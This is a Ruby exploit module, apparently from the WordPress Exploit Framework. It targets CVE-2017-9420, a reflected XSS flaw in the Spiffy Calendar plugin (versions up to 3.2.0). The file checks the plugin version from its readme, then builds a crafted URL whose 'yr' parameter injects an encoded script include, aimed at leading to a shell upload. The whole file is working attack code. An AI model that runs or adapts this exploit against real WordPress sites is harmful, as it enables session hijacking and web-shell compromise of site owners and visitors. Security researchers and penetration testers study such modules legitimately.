# frozen_string_literal: true

class Wpxf::Exploit::SpiffyCalendarReflectedXssShellUpload < Wpxf::Module
  include Wpxf::WordPress::ReflectedXss
  include ERB::Util

  def initialize
    super

    update_info(
      name: 'Spiffy Calendar <= 3.2.0 Reflected XSS Shell Upload',
      author: [
        'DTSA',      # Discovery
        'rastating'  # WPXF module
      ],
      references: [
        ['WPVDB', '8842'],
        ['CVE', '2017-9420'],
        ['URL', 'https://dtsa.eu/cve-2017-9420-wordpress-spiffy-calendar-v-3-2-0-reflected-cross-site-scripting-xss/']
      ],
      date: 'Jun 02 2017'
    )

    register_option(
      StringOption.new(
        name: 'calendar_path',
        desc: 'The relative path or absolute URL of the calendar',
        required: true
      )
    )
  end

  def check
    readme = normalize_uri(wordpress_url_plugins, 'spiffy-calendar', 'readme.txt')
    check_version_from_custom_file(readme, /=\sVersion\s((\d+\.?)+).+?=/, '3.3')
  end

  def vulnerable_url
    normalize_relative_uri(datastore['calendar_path'])
  end

  def url_payload
    url_encode("#{DateTime.now.year}\"><script>#{xss_ascii_encoded_include_script}</script>")
  end

  def url_with_xss
    "#{vulnerable_url}?month=#{Utility::Text.rand_month[0..2]}&yr=#{url_payload}"
  end
end
